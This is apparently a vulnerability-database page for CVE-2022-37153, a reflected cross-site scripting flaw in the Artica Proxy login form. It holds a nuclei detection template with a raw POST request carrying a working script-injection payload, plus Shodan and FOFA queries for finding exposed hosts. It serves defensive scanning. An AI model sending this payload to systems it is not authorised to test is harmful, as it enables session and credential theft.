Browse / CVEs / CVE-2022-37153
CVE-2022-37153· articatech / artica proxy· CWE-79
Artica Proxy 4.30.000000 - Cross-Site Scripting
mediumseverity
6.1CVSS score
2%likelihood of exploitation, next 30 days
81%of all CVEs are less likely
Readycheck to confirm it
Artica Proxy 4.30.000000 contains a cross-site scripting vulnerability via the password parameter in /fw.login.php.
Impact
Attackers can inject malicious JavaScript through the password parameter in the Artica Proxy login page that reflects back to users, potentially stealing credentials or session tokens when victims submit the login form.
Fix
Upgrade to a patched version of Artica Proxy or apply the vendor-supplied patch to mitigate the vulnerability.
How to confirm it
Send: POST /fw.login.php
Positive when: contains "Password\" value=\"admin\"><script>alert(document.domain)</scr…" and "Artica Web" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2022-37153 -u <target>
The full check
id: CVE-2022-37153
info:
name: Artica Proxy 4.30.000000 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
Artica Proxy 4.30.000000 contains a cross-site scripting vulnerability via the password parameter in /fw.login.php.
impact: |
Attackers can inject malicious JavaScript through the password parameter in the Artica Proxy login page that reflects back to users, potentially stealing credentials or session tokens when victims submit the login form.
remediation: |
Upgrade to a patched version of Artica Proxy or apply the vendor-supplied patch to mitigate the vulnerability.
reference:
- https://github.com/Fjowel/CVE-2022-37153
- https://nvd.nist.gov/vuln/detail/CVE-2022-37153
- https://github.com/SYRTI/POC_to_review
- https://github.com/WhooAmii/POC_to_review
- https://github.com/k0mi-tg/CVE-POC
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-37153
cwe-id: CWE-79
epss-score: 0.01974
epss-percentile: 0.80647
cpe: cpe:2.3:a:articatech:artica_proxy:4.30.000000:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: articatech
product: artica_proxy
shodan-query:
- http.html:"Artica"
- http.html:"artica"
fofa-query: body="artica"
tags: cve,cve2022,xss,artica,articatech,vkev,vuln
http:
- raw:
- |
POST /fw.login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
userfont=&artica-language=&StandardDropDown=&HTMLTITLE=&username=admin&password=admin%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Password" value="admin"><script>alert(document.domain)</script>'
- 'Artica Web'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200References
- https://github.com/Fjowel/CVE-2022-37153
- https://nvd.nist.gov/vuln/detail/CVE-2022-37153
- https://github.com/SYRTI/POC_to_review
- https://github.com/WhooAmii/POC_to_review
- https://github.com/k0mi-tg/CVE-POC
Use this check only on systems you are authorised to test. Where the data comes from